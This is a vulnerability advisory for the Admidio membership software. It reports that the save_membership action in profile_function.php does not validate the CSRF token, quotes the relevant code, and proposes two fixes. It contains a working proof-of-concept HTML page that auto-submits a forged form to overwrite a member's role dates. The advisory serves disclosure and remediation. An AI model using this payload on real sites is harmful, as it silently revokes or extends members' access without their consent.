Admidio is Missing CSRF Protection on Role Membership Date Changes

Summary

The save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.

Details

CSRF Check Is Absent for save_membership

File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 40-42

The CSRF guard covers only two of the three mutative modes:

if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}

The save_membership mode is missing from this array. The handler then proceeds to read dates from $_POST and update the database without any token verification:

} elseif ($getMode === 'save_membership') {
    $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));
    $postMembershipEnd   = admFuncVariableIsValid($_POST, 'adm_membership_end_date',   'date', array('requireValue' => true));

    $member = new Membership($gDb);
    $member->readDataByUuid($getMemberUuid);
    $role = new Role($gDb, (int)$member->getValue('mem_rol_id'));

    // check if user has the right to edit this membership
    if (!$role->allowedToAssignMembers($gCurrentUser)) {
        throw new Exception('SYS_NO_RIGHTS');
    }
    // ... validates dates ...
    $role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);
    echo 'success';
}

File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 131-169

The Form Does Generate a CSRF Token (Not Validated)

File: D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php, lines 218-241

The membership date form is created via FormPresenter, which automatically injects an adm_csrf_token hidden field into every form. However, the server-side save_membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.

Who Can Be Exploited as the CSRF Victim

File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121

The allowedToAssignMembers() check grants write access to:

• Any user who is isAdministratorRoles() (role administrators), or
• Any user who is a leader of the target role when the role has rol_leader_rights set to ROLE_LEADER_MEMBERS_ASSIGN or ROLE_LEADER_MEMBERS_ASSIGN_EDIT

Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.

UUIDs Are Discoverable from HTML Source

The save URL for the membership date form is embedded in the profile page HTML:

/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>

Any authenticated member who can view a profile page can extract both UUIDs from the page source.

PoC

The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:

<!DOCTYPE html>
<html>
<body onload="document.getElementById('csrf_form').submit()">
  <form id="csrf_form"
        method="POST"
        action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>">
    <input type="hidden" name="adm_membership_start_date" value="2000-01-01">
    <input type="hidden" name="adm_membership_end_date"   value="2000-01-02">
  </form>
</body>
</html>

Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).

Note: No adm_csrf_token field is required because the server does not validate it for save_membership.

Impact

• Unauthorized membership date manipulation: A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.
• Effective access revocation: Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.
• Covert escalation: An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.
• No administrative approval required: The impact occurs silently on the victim's session with no confirmation dialog or notification email.

Recommended Fix

Fix 1: Add save_membership to the existing CSRF validation check

// File: modules/profile/profile_function.php, lines 40-42
if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}

Fix 2: Use the form-object validation pattern (consistent with other write endpoints)

} elseif ($getMode === 'save_membership') {
    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)
    $membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    $formValues = $membershipForm->validate($_POST);

    $postMembershipStart = $formValues['adm_membership_start_date'];
    $postMembershipEnd   = $formValues['adm_membership_end_date'];
    // ... rest of save logic unchanged
}